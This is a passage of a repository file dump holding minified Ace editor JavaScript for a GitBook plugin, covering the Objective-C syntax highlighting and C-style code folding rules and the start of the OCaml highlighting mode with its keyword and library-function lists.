quest|AlertStyle)|PredicateOperatorType)|talicFontMask|SO(?:2022JPStringEncoding|Latin(?:1StringEncoding|2StringEncoding))|dentityMappingCharacterCollection|llegalTextMovement|mage(?:R(?:ight|ep(?:MatchesDevice|LoadStatus(?:ReadingHeader|Completed|InvalidData|Un(?:expectedEOF|knownType)|WillNeedAllData)))|Below|C(?:ellType|ache(?:BySize|Never|Default|Always))|Interpolation(?:High|None|Default|Low)|O(?:nly|verlaps)|Frame(?:Gr(?:oove|ayBezel)|Button|None|Photo)|L(?:oadStatus(?:ReadError|C(?:ompleted|ancelled)|InvalidData|UnexpectedEOF)|eft)|A(?:lign(?:Right|Bottom(?:Right|Left)?|Center|Top(?:Right|Left)?|Left)|bove)))|O(?:n(?:State|eByteGlyphPacking|OffButton|lyScrollerArrows)|ther(?:Mouse(?:D(?:own(?:Mask)?|ragged(?:Mask)?)|Up(?:Mask)?)|TextMovement)|SF1OperatingSystem|pe(?:n(?:GL(?:GO(?:Re(?:setLibrary|tainRenderers)|ClearFormatCache|FormatCacheSize)|PFA(?:R(?:obust|endererID)|M(?:inimumPolicy|ulti(?:sample|Screen)|PSafe|aximumPolicy)|BackingStore|S(?:creenMask|te(?:ncilSize|reo)|ingleRenderer|upersample|ample(?:s|Buffers|Alpha))|NoRecovery|C(?:o(?:lor(?:Size|Float)|mpliant)|losestPolicy)|OffScreen|D(?:oubleBuffer|epthSize)|PixelBuffer|VirtualScreenCount|FullScreen|Window|A(?:cc(?:umSize|elerated)|ux(?:Buffers|DepthStencil)|l(?:phaSize|lRenderers))))|StepUnicodeReservedBase)|rationNotSupportedForKeyS(?:criptError|pecifierError))|ffState|KButton|rPredicateType|bjC(?:B(?:itfield|oolType)|S(?:hortType|tr(?:ingType|uctType)|electorType)|NoType|CharType|ObjectType|DoubleType|UnionType|PointerType|VoidType|FloatType|Long(?:Type|longType)|ArrayType))|D(?:i(?:s(?:c(?:losureBezelStyle|reteCapacityLevelIndicatorStyle)|playWindowRunLoopOrdering)|acriticInsensitivePredicateOption|rect(?:Selection|PredicateModifier))|o(?:c(?:ModalWindowMask|ument(?:Directory|ationDirectory))|ubleType|wn(?:TextMovement|ArrowFunctionKey))|e(?:s(?:cendingPageOrder|ktopDirectory)|cimalTabStopType|v(?:ice(?:NColorSpaceModel|IndependentModifierFlagsMask)|eloper(?:Directory|ApplicationDirectory))|fault(?:ControlTint|TokenStyle)|lete(?:Char(?:acter|FunctionKey)|FunctionKey|LineFunctionKey)|moApplicationDirectory)|a(?:yCalendarUnit|teFormatter(?:MediumStyle|Behavior(?:10|Default)|ShortStyle|NoStyle|FullStyle|LongStyle))|ra(?:wer(?:Clos(?:ingState|edState)|Open(?:ingState|State))|gOperation(?:Generic|Move|None|Copy|Delete|Private|Every|Link|All)))|U(?:ser(?:CancelledError|D(?:irectory|omainMask)|FunctionKey)|RL(?:Handle(?:NotLoaded|Load(?:Succeeded|InProgress|Failed))|CredentialPersistence(?:None|Permanent|ForSession))|n(?:scaledWindowMask|cachedRead|i(?:codeStringEncoding|talicFontMask|fiedTitleAndToolbarWindowMask)|d(?:o(?:CloseGroupingRunLoopOrdering|FunctionKey)|e(?:finedDateComponent|rline(?:Style(?:Single|None|Thick|Double)|Pattern(?:Solid|D(?:ot|ash(?:Dot(?:Dot)?)?)))))|known(?:ColorSpaceModel|P(?:ointingDevice|ageOrder)|KeyS(?:criptError|pecifierError))|boldFontMask)|tilityWindowMask|TF8StringEncoding|p(?:dateWindowsRunLoopOrdering|TextMovement|ArrowFunctionKey))|J(?:ustifiedTextAlignment|PEG(?:2000FileType|FileType)|apaneseEUC(?:GlyphPacking|StringEncoding))|P(?:o(?:s(?:t(?:Now|erFontMask|WhenIdle|ASAP)|iti(?:on(?:Replace|Be(?:fore|ginning)|End|After)|ve(?:IntType|DoubleType|FloatType)))|pUp(?:NoArrow|ArrowAt(?:Bottom|Center))|werOffEventType|rtraitOrientation)|NGFileType|ush(?:InCell(?:Mask)?|OnPushOffButton)|e(?:n(?:TipMask|UpperSideMask|PointingDevice|LowerSideMask)|riodic(?:Mask)?)|P(?:S(?:caleField|tatus(?:Title|Field)|aveButton)|N(?:ote(?:Title|Field)|ame(?:Title|Field))|CopiesField|TitleField|ImageButton|OptionsButton|P(?:a(?:perFeedButton|ge(?:Range(?:To|From)|ChoiceMatrix))|reviewButton)|LayoutButton)|lainTextTokenStyle|a(?:useFunctionKey|ragraphSeparatorCharacter|ge(?:DownFunctionKey|UpFunctionKey))|r(?:int(?:ing(?:ReplyLater|Success|Cancelled|Failure)|ScreenFunctionKey|erTable(?:NotFound|OK|Error)|FunctionKey)|o(?:p(?:ertyList(?:XMLFormat|MutableContainers(?:AndLeaves)?|BinaryFormat|Immutable|OpenStepFormat)|rietaryStringEncoding)|gressIndicator(?:BarStyle|SpinningStyle|Preferred(?:SmallThickness|Thickness|LargeThickness|AquaThickness)))|e(?:ssedTab|vFunctionKey))|L(?:HeightForm|CancelButton|TitleField|ImageButton|O(?:KButton|rientationMatrix)|UnitsButton|PaperNameButton|WidthForm))|E(?:n(?:terCharacter|d(?:sWith(?:Comparison|PredicateOperatorType)|FunctionKey))|v(?:e(?:nOddWindingRule|rySubelement)|aluatedObjectExpressionType)|qualTo(?:Comparison|PredicateOperatorType)|ra(?:serPointingDevice|CalendarUnit|DatePickerElementFlag)|x(?:clude(?:10|QuickDrawElementsIconCreationOption)|pandedFontMask|ecuteFunctionKey))|V(?:i(?:ew(?:M(?:in(?:XMargin|YMargin)|ax(?:XMargin|YMargin))|HeightSizable|NotSizable|WidthSizable)|aPanelFontAction)|erticalRuler|a(?:lidationErrorM(?:inimum|aximum)|riableExpressionType))|Key(?:SpecifierEvaluationScriptError|Down(?:Mask)?|Up(?:Mask)?|PathExpressionType|Value(?:MinusSetMutation|SetSetMutation|Change(?:Re(?:placement|moval)|Setting|Insertion)|IntersectSetMutation|ObservingOption(?:New|Old)|UnionSetMutation|ValidationError))|QTMovie(?:NormalPlayback|Looping(?:BackAndForthPlayback|Playback))|F(?:1(?:1FunctionKey|7FunctionKey|2FunctionKey|8FunctionKey|3FunctionKey|9FunctionKey|4FunctionKey|5FunctionKey|FunctionKey|0FunctionKey|6FunctionKey)|7FunctionKey|i(?:nd(?:PanelAction(?:Replace(?:A(?:ndFind|ll(?:InSelection)?))?|S(?:howFindPanel|e(?:tFindString|lectAll(?:InSelection)?))|Next|Previous)|FunctionKey)|tPagination|le(?:Read(?:No(?:SuchFileError|PermissionError)|CorruptFileError|In(?:validFileNameError|applicableStringEncodingError)|Un(?:supportedSchemeError|knownError))|HandlingPanel(?:CancelButton|OKButton)|NoSuchFileError|ErrorM(?:inimum|aximum)|Write(?:NoPermissionError|In(?:validFileNameError|applicableStringEncodingError)|OutOfSpaceError|Un(?:supportedSchemeError|knownError))|LockingError)|xedPitchFontMask)|2(?:1FunctionKey|7FunctionKey|2FunctionKey|8FunctionKey|3FunctionKey|9FunctionKey|4FunctionKey|5FunctionKey|FunctionKey|0FunctionKey|6FunctionKey)|o(?:nt(?:Mo(?:noSpaceTrait|dernSerifsClass)|BoldTrait|S(?:ymbolicClass|criptsClass|labSerifsClass|ansSerifClass)|C(?:o(?:ndensedTrait|llectionApplicationOnlyMask)|larendonSerifsClass)|TransitionalSerifsClass|I(?:ntegerAdvancementsRenderingMode|talicTrait)|O(?:ldStyleSerifsClass|rnamentalsClass)|DefaultRenderingMode|U(?:nknownClass|IOptimizedTrait)|Panel(?:S(?:hadowEffectModeMask|t(?:andardModesMask|rikethroughEffectModeMask)|izeModeMask)|CollectionModeMask|TextColorEffectModeMask|DocumentColorEffectModeMask|UnderlineEffectModeMask|FaceModeMask|All(?:ModesMask|EffectsModeMask))|ExpandedTrait|VerticalTrait|F(?:amilyClassMask|reeformSerifsClass)|Antialiased(?:RenderingMode|IntegerAdvancementsRenderingMode))|cusRing(?:Below|Type(?:None|Default|Exterior)|Only|Above)|urByteGlyphPacking|rm(?:attingError(?:M(?:inimum|aximum))?|FeedCharacter))|8FunctionKey|unction(?:ExpressionType|KeyMask)|3(?:1FunctionKey|2FunctionKey|3FunctionKey|4FunctionKey|5FunctionKey|FunctionKey|0FunctionKey)|9FunctionKey|4FunctionKey|P(?:RevertButton|S(?:ize(?:Title|Field)|etButton)|CurrentField|Preview(?:Button|Field))|l(?:oat(?:ingPointSamplesBitmapFormat|Type)|agsChanged(?:Mask)?)|axButton|5FunctionKey|6FunctionKey)|W(?:heelModeColorPanel|indow(?:s(?:NTOperatingSystem|CP125(?:1StringEncoding|2StringEncoding|3StringEncoding|4StringEncoding|0StringEncoding)|95(?:InterfaceStyle|OperatingSystem))|M(?:iniaturizeButton|ovedEventType)|Below|CloseButton|ToolbarButton|ZoomButton|Out|DocumentIconButton|ExposedEventType|Above)|orkspaceLaunch(?:NewInstance|InhibitingBackgroundOnly|Default|PreferringClassic|WithoutA(?:ctivation|ddingToRecents)|A(?:sync|nd(?:Hide(?:Others)?|Print)|llowingClassicStartup))|eek(?:day(?:CalendarUnit|OrdinalCalendarUnit)|CalendarUnit)|a(?:ntsBidiLevels|rningAlertStyle)|r(?:itingDirection(?:RightToLeft|Natural|LeftToRight)|apCalendarComponents))|L(?:i(?:stModeMatrix|ne(?:Moves(?:Right|Down|Up|Left)|B(?:order|reakBy(?:C(?:harWrapping|lipping)|Truncating(?:Middle|Head|Tail)|WordWrapping))|S(?:eparatorCharacter|weep(?:Right|Down|Up|Left))|ToBezierPathElement|DoesntMove|arSlider)|teralSearch|kePredicateOperatorType|ghterFontAction|braryDirectory)|ocalDomainMask|e(?:ssThan(?:Comparison|OrEqualTo(?:Comparison|PredicateOperatorType)|PredicateOperatorType)|ft(?:Mouse(?:D(?:own(?:Mask)?|ragged(?:Mask)?)|Up(?:Mask)?)|T(?:ext(?:Movement|Alignment)|ab(?:sBezelBorder|StopType))|ArrowFunctionKey))|a(?:yout(?:RightToLeft|NotDone|CantFit|OutOfGlyphs|Done|LeftToRight)|ndscapeOrientation)|ABColorSpaceModel)|A(?:sc(?:iiWithDoubleByteEUCGlyphPacking|endingPageOrder)|n(?:y(?:Type|PredicateModifier|EventMask)|choredSearch|imation(?:Blocking|Nonblocking(?:Threaded)?|E(?:ffect(?:DisappearingItemDefault|Poof)|ase(?:In(?:Out)?|Out))|Linear)|dPredicateType)|t(?:Bottom|tachmentCharacter|omicWrite|Top)|SCIIStringEncoding|d(?:obe(?:GB1CharacterCollection|CNS1CharacterCollection|Japan(?:1CharacterCollection|2CharacterCollection)|Korea1CharacterCollection)|dTraitFontAction|minApplicationDirectory)|uto(?:saveOperation|Pagination)|pp(?:lication(?:SupportDirectory|D(?:irectory|e(?:fined(?:Mask)?|legateReply(?:Success|Cancel|Failure)|activatedEventType))|ActivatedEventType)|KitDefined(?:Mask)?)|l(?:ternateKeyMask|pha(?:ShiftKeyMask|NonpremultipliedBitmapFormat|FirstBitmapFormat)|ert(?:SecondButtonReturn|ThirdButtonReturn|OtherReturn|DefaultReturn|ErrorReturn|FirstButtonReturn|AlternateReturn)|l(?:ScrollerParts|DomainsMask|PredicateModifier|LibrariesDirectory|ApplicationsDirectory))|rgument(?:sWrongScriptError|EvaluationScriptError)|bove(?:Bottom|Top)|WTEventType)))(?:\\\\b)\"},{token:\"support.function.C99.c\",regex:s.cFunctions},{token:n.getKeywords(),regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"punctuation.section.scope.begin.objc\",regex:\"\\\\[\",next:\"bracketed_content\"},{token:\"meta.function.objc\",regex:\"^(?:-|\\\\+)\\\\s*\"}],constant_NSString:[{token:\"constant.character.escape.objc\",regex:e},{token:\"invalid.illegal.unknown-escape.objc\",regex:\"\\\\\\\\.\"},{token:\"string\",regex:'[^\"\\\\\\\\]+'},{token:\"punctuation.definition.string.end\",regex:'\"',next:\"start\"}],protocol_list:[{token:\"punctuation.section.scope.end.objc\",regex:\">\",next:\"start\"},{token:\"support.other.protocol.objc\",regex:\"\\bNS(?:GlyphStorage|M(?:utableCopying|enuItem)|C(?:hangeSpelling|o(?:ding|pying|lorPicking(?:Custom|Default)))|T(?:oolbarItemValidations|ext(?:Input|AttachmentCell))|I(?:nputServ(?:iceProvider|erMouseTracker)|gnoreMisspelledWords)|Obj(?:CTypeSerializationCallBack|ect)|D(?:ecimalNumberBehaviors|raggingInfo)|U(?:serInterfaceValidations|RL(?:HandleClient|DownloadDelegate|ProtocolClient|AuthenticationChallengeSender))|Validated(?:ToobarItem|UserInterfaceItem)|Locking)\\b\"}],selectors:[{token:\"support.function.any-method.name-of-parameter.objc\",regex:\"\\\\b(?:[a-zA-Z_:][\\\\w]*)+\"},{token:\"punctuation\",regex:\"\\\\)\",next:\"start\"}],bracketed_content:[{token:\"punctuation.section.scope.end.objc\",regex:\"]\",next:\"start\"},{token:[\"support.function.any-method.objc\"],regex:\"(?:predicateWithFormat:| NSPredicate predicateWithFormat:)\",next:\"start\"},{token:\"support.function.any-method.objc\",regex:\"\\\\w+(?::|(?=]))\",next:\"start\"}],bracketed_strings:[{token:\"punctuation.section.scope.end.objc\",regex:\"]\",next:\"start\"},{token:\"keyword.operator.logical.predicate.cocoa\",regex:\"\\\\b(?:AND|OR|NOT|IN)\\\\b\"},{token:[\"invalid.illegal.unknown-method.objc\",\"punctuation.separator.arguments.objc\"],regex:\"\\\\b(w+)(:)\"},{regex:\"\\\\b(?:ALL|ANY|SOME|NONE)\\\\b\",token:\"constant.language.predicate.cocoa\"},{regex:\"\\\\b(?:NULL|NIL|SELF|TRUE|YES|FALSE|NO|FIRST|LAST|SIZE)\\\\b\",token:\"constant.language.predicate.cocoa\"},{regex:\"\\\\b(?:MATCHES|CONTAINS|BEGINSWITH|ENDSWITH|BETWEEN)\\\\b\",token:\"keyword.operator.comparison.predicate.cocoa\"},{regex:\"\\\\bC(?:ASEINSENSITIVE|I)\\\\b\",token:\"keyword.other.modifier.predicate.cocoa\"},{regex:\"\\\\b(?:ANYKEY|SUBQUERY|CAST|TRUEPREDICATE|FALSEPREDICATE)\\\\b\",token:\"keyword.other.predicate.cocoa\"},{regex:e,token:\"constant.character.escape.objc\"},{regex:\"\\\\\\\\.\",token:\"invalid.illegal.unknown-escape.objc\"},{token:\"string\",regex:'[^\"\\\\\\\\]'},{token:\"punctuation.definition.string.end.objc\",regex:'\"',next:\"predicates\"}],comment:[{token:\"comment\",regex:\".*?\\\\*\\\\/\",next:\"start\"},{token:\"comment\",regex:\".+\"}],methods:[{token:\"meta.function.objc\",regex:\"(?=\\\\{|#)|;\",next:\"start\"}]};for(var u in r)this.$rules[u]?this.$rules[u].push&&this.$rules[u].push.apply(this.$rules[u],r[u]):this.$rules[u]=r[u];this.$rules.bracketed_content=this.$rules.bracketed_content.concat(this.$rules.start,t),this.embedRules(i,\"doc-\",[i.getEndRule(\"start\")])};r.inherits(u,o),t.ObjectiveCHighlightRules=u}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/objectivec\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/objectivec_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./objectivec_highlight_rules\").ObjectiveCHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.$id=\"ace/mode/objectivec\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-ocaml.js",
    "content": "define(\"ace/mode/ocaml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"and|as|assert|begin|class|constraint|do|done|downto|else|end|exception|external|for|fun|function|functor|if|in|include|inherit|initializer|lazy|let|match|method|module|mutable|new|object|of|open|or|private|rec|sig|struct|then|to|try|type|val|virtual|when|while|with\",t=\"true|false\",n=\"abs|abs_big_int|abs_float|abs_num|abstract_tag|accept|access|acos|add|add_available_units|add_big_int|add_buffer|add_channel|add_char|add_initializer|add_int_big_int|add_interfaces|add_num|add_string|add_substitute|add_substring|alarm|allocated_bytes|allow_only|allow_unsafe_modules|always|append|appname_get|appname_set|approx_num_exp|approx_num_fix|arg|argv|arith_status|array|array1_of_genarray|array2_of_genarray|array3_of_genarray|asin|asr|assoc|assq|at_exit|atan|atan2|auto_synchronize|background|basename|beginning_of_input|big_int_of_int|big_int_of_num|big_int_of_string|bind|bind_class|bind_tag|bits|bits_of_float|black|blit|blit_image|blue|bool|bool_of_string|bounded_full_split|bounded_split|bounded_split_delim|bprintf|break|broadcast|bscanf|button_down|c_layout|capitalize|cardinal|cardinal|catch|catch_break|ceil|ceiling_num|channel|char|char_of_int|chdir|check|check_suffix|chmod|choose|chop_extension|chop_suffix|chown|chown|chr|chroot|classify_float|clear|clear_available_units|clear_close_on_exec|clear_graph|clear_nonblock|clear_parser|close|close|closeTk|close_box|close_graph|close_in|close_in_noerr|close_out|close_out_noerr|close_process|close_process|close_process_full|close_process_in|close_process_out|close_subwindow|close_tag|close_tbox|closedir|closedir|closure_tag|code|combine|combine|combine|command|compact|compare|compare_big_int|compare_num|complex32|complex64|concat|conj|connect|contains|contains_from|contents|copy|cos|cosh|count|count|counters|create|create_alarm|create_image|create_matrix|create_matrix|create_matrix|create_object|create_object_and_run_initializers|create_object_opt|create_process|create_process|create_process_env|create_process_env|create_table|current|current_dir_name|current_point|current_x|current_y|curveto|custom_tag|cyan|data_size|decr|decr_num|default_available_units|delay|delete_alarm|descr_of_in_channel|descr_of_out_channel|destroy|diff|dim|dim1|dim2|dim3|dims|dirname|display_mode|div|div_big_int|div_num|double_array_tag|double_tag|draw_arc|draw_char|draw_circle|draw_ellipse|draw_image|draw_poly|draw_poly_line|draw_rect|draw_segments|draw_string|dummy_pos|dummy_table|dump_image|dup|dup2|elements|empty|end_of_input|environment|eprintf|epsilon_float|eq_big_int|eq_num|equal|err_formatter|error_message|escaped|establish_server|executable_name|execv|execve|execvp|execvpe|exists|exists2|exit|exp|failwith|fast_sort|fchmod|fchown|field|file|file_exists|fill|fill_arc|fill_circle|fill_ellipse|fill_poly|fill_rect|filter|final_tag|finalise|find|find_all|first_chars|firstkey|flatten|float|float32|float64|float_of_big_int|float_of_bits|float_of_int|float_of_num|float_of_string|floor|floor_num|flush|flush_all|flush_input|flush_str_formatter|fold|fold_left|fold_left2|fold_right|fold_right2|for_all|for_all2|force|force_newline|force_val|foreground|fork|format_of_string|formatter_of_buffer|formatter_of_out_channel|fortran_layout|forward_tag|fprintf|frexp|from|from_channel|from_file|from_file_bin|from_function|from_string|fscanf|fst|fstat|ftruncate|full_init|full_major|full_split|gcd_big_int|ge_big_int|ge_num|genarray_of_array1|genarray_of_array2|genarray_of_array3|get|get_all_formatter_output_functions|get_approx_printing|get_copy|get_ellipsis_text|get_error_when_null_denominator|get_floating_precision|get_formatter_output_functions|get_formatter_tag_functions|get_image|get_margin|get_mark_tags|get_max_boxes|get_max_indent|get_method|get_method_label|get_normalize_ratio|get_normalize_ratio_when_printing|get_print_tags|get_state|get_variable|getcwd|getegid|getegid|getenv|getenv|getenv|geteuid|geteuid|getgid|getgid|getgrgid|getgrgid|getgrnam|getgrnam|getgroups|gethostbyaddr|gethostbyname|gethostname|getitimer|getlogin|getpeername|getpid|getppid|getprotobyname|getprotobynumber|getpwnam|getpwuid|getservbyname|getservbyport|getsockname|getsockopt|getsockopt_float|getsockopt_int|getsockopt_optint|gettimeofday|getuid|global_replace|global_substitute|gmtime|green|grid|group_beginning|group_end|gt_big_int|gt_num|guard|handle_unix_error|hash|hash_param|hd|header_size|i|id|ignore|in_channel_length|in_channel_of_descr|incr|incr_num|index|index_from|inet_addr_any|inet_addr_of_string|infinity|infix_tag|init|init_class|input|input_binary_int|input_byte|input_char|input_line|input_value|int|int16_signed|int16_unsigned|int32|int64|int8_signed|int8_unsigned|int_of_big_int|int_of_char|int_of_float|int_of_num|int_of_string|integer_num|inter|interactive|inv|invalid_arg|is_block|is_empty|is_implicit|is_int|is_int_big_int|is_integer_num|is_relative|iter|iter2|iteri|join|junk|key_pressed|kill|kind|kprintf|kscanf|land|last_chars|layout|lazy_from_fun|lazy_from_val|lazy_is_val|lazy_tag|ldexp|le_big_int|le_num|length|lexeme|lexeme_char|lexeme_end|lexeme_end_p|lexeme_start|lexeme_start_p|lineto|link|list|listen|lnot|loadfile|loadfile_private|localtime|lock|lockf|log|log10|logand|lognot|logor|logxor|lor|lower_window|lowercase|lseek|lsl|lsr|lstat|lt_big_int|lt_num|lxor|magenta|magic|mainLoop|major|major_slice|make|make_formatter|make_image|make_lexer|make_matrix|make_self_init|map|map2|map_file|mapi|marshal|match_beginning|match_end|matched_group|matched_string|max|max_array_length|max_big_int|max_elt|max_float|max_int|max_num|max_string_length|mem|mem_assoc|mem_assq|memq|merge|min|min_big_int|min_elt|min_float|min_int|min_num|minor|minus_big_int|minus_num|minus_one|mkdir|mkfifo|mktime|mod|mod_big_int|mod_float|mod_num|modf|mouse_pos|moveto|mul|mult_big_int|mult_int_big_int|mult_num|nan|narrow|nat_of_num|nativeint|neg|neg_infinity|new_block|new_channel|new_method|new_variable|next|nextkey|nice|nice|no_scan_tag|norm|norm2|not|npeek|nth|nth_dim|num_digits_big_int|num_dims|num_of_big_int|num_of_int|num_of_nat|num_of_ratio|num_of_string|O|obj|object_tag|ocaml_version|of_array|of_channel|of_float|of_int|of_int32|of_list|of_nativeint|of_string|one|openTk|open_box|open_connection|open_graph|open_hbox|open_hovbox|open_hvbox|open_in|open_in_bin|open_in_gen|open_out|open_out_bin|open_out_gen|open_process|open_process_full|open_process_in|open_process_out|open_subwindow|open_tag|open_tbox|open_temp_file|open_vbox|opendbm|opendir|openfile|or|os_type|out_channel_length|out_channel_of_descr|output|output_binary_int|output_buffer|output_byte|output_char|output_string|output_value|over_max_boxes|pack|params|parent_dir_name|parse|parse_argv|partition|pause|peek|pipe|pixels|place|plot|plots|point_color|polar|poll|pop|pos_in|pos_out|pow|power_big_int_positive_big_int|power_big_int_positive_int|power_int_positive_big_int|power_int_positive_int|power_num|pp_close_box|pp_close_tag|pp_close_tbox|pp_force_newline|pp_get_all_formatter_output_functions|pp_get_ellipsis_text|pp_get_formatter_output_functions|pp_get_formatter_tag_functions|pp_get_margin|pp_get_mark_tags|pp_get_max_boxes|pp_get_max_indent|pp_get_print_tags|pp_open_box|pp_open_hbox|pp_open_hovbox|pp_open_hvbox|pp_open_tag|pp_open_tbox|pp_open_vbox|pp_over_max_boxes|pp_print_as|pp_print_bool|pp_print_break|pp_print_char|pp_print_cut|pp_print_float|pp_print_flush|pp_print_if_newline|pp_print_int|pp_print_newline|pp_print_space|pp_print_string|pp_print_tab|pp_print_tbreak|pp_set_all_formatter_output_functions|pp_set_ellipsis_text|pp_set_formatter_out_channel|pp_set_formatter_output_functions|pp_set_formatter_tag_functions|pp_set_margin|pp_set_mark_tags|pp_set_max_boxes|pp_set_max_indent|pp_set_print_tags|pp_set_tab|pp_set_tags|pred|pred_big_int|pred_num|prerr_char|prerr_endline|prerr_float|prerr_int|prerr_newline|prerr_string|print|print_as|print_bool|print_break|print_char|print_cut|print_endline|print_float|print_flush|print_if_newline|print_int|print_newline|print_space|print_stat|print_string|print_tab|print_tbreak|printf|prohibit|public_method_label|push|putenv|quo_num|quomod_big_int|quote|raise|raise_window|ratio_of_num|rcontains_from|read|read_float|read_int|read_key|read_line|readdir|readdir|readlink|really_input|receive|recv|recvfrom|red|ref|regexp|regexp_case_fold|regexp_string|regexp_string_case_fold|register|register_exception|rem|remember_mode|remove|remove_assoc|remove_assq|rename|replace|replace_first|replace_matched|repr|reset|reshape|reshape_1|reshape_2|reshape_3|rev|rev_append|rev_map|rev_map2|rewinddir|rgb|rhs_end|rhs_end_pos|rhs_start|rhs_start_pos|rindex|rindex_from|rlineto|rmdir|rmoveto|round_num|run_initializers|run_initializers_opt|scanf|search_backward|search_forward|seek_in|seek_out|select|self|self_init|send|sendto|set|set_all_formatter_output_functions|set_approx_printing|set_binary_mode_in|set_binary_mode_out|set_close_on_exec|set_close_on_exec|set_color|set_ellipsis_text|set_error_when_null_denominator|set_field|set_floating_precision|set_font|set_formatter_out_channel|set_formatter_output_functions|set_formatter_tag_functions|set_line_width|set_margin|set_mark_tags|set_max_boxes|set_max_indent|set_method|set_nonblock|set_nonblock|set_normalize_ratio|set_normalize_ratio_when_printing|set_print_tags|set_signal|set_state|set_tab|set_tag|set_tags|set_text_size|set_window_title|setgid|setgid|setitimer|setitimer|setsid|setsid|setsockopt|setsockopt|setsockopt_float|setsockopt_float|setsockopt_int|setsockopt_int|setsockopt_optint|setsockopt_optint|setuid|setuid|shift_left|shift_left|shift_left|shift_right|shift_right|shift_right|shift_right_logical|shift_right_logical|shift_right_logical|show_buckets|shutdown|shutdown|shutdown_connection|shutdown_connection|sigabrt|sigalrm|sigchld|sigcont|sigfpe|sighup|sigill|sigint|sigkill|sign_big_int|sign_num|signal|signal|sigpending|sigpending|sigpipe|sigprocmask|sigprocmask|sigprof|sigquit|sigsegv|sigstop|sigsuspend|sigsuspend|sigterm|sigtstp|sigttin|sigttou|sigusr1|sigusr2|sigvtalrm|sin|singleton|sinh|size|size|size_x|size_y|sleep|sleep|sleep|slice_left|slice_left|slice_left_1|slice_left_2|slice_right|slice_right|slice_right_1|slice_right_2|snd|socket|socket|socket|socketpair|socketpair|sort|sound|split|split_delim|sprintf|sprintf|sqrt|sqrt|sqrt_big_int|square_big_int|square_num|sscanf|stable_sort|stable_sort|stable_sort|stable_sort|stable_sort|stable_sort|stat|stat|stat|stat|stat|stats|stats|std_formatter|stdbuf|stderr|stderr|stderr|stdib|stdin|stdin|stdin|stdout|stdout|stdout|str_formatter|string|string_after|string_before|string_match|string_of_big_int|string_of_bool|string_of_float|string_of_format|string_of_inet_addr|string_of_inet_addr|string_of_int|string_of_num|string_partial_match|string_tag|sub|sub|sub_big_int|sub_left|sub_num|sub_right|subset|subset|substitute_first|substring|succ|succ|succ|succ|succ_big_int|succ_num|symbol_end|symbol_end_pos|symbol_start|symbol_start_pos|symlink|symlink|sync|synchronize|system|system|system|tag|take|tan|tanh|tcdrain|tcdrain|tcflow|tcflow|tcflush|tcflush|tcgetattr|tcgetattr|tcsendbreak|tcsendbreak|tcsetattr|tcsetattr|temp_file|text_size|time|time|time|timed_read|timed_write|times|times|tl|tl|tl|to_buffer|to_channel|to_float|to_hex|to_int|to_int32|to_list|to_list|to_list|to_nativeint|to_string|to_string|to_string|to_string|to_string|top|top|total_size|transfer|transp|truncate|truncate|truncate|truncate|truncate|truncate|try_lock|umask|umask|uncapitalize|uncapitalize|uncapitalize|union|union|unit_big_int|unlink|unlink|unlock|unmarshal|unsafe_b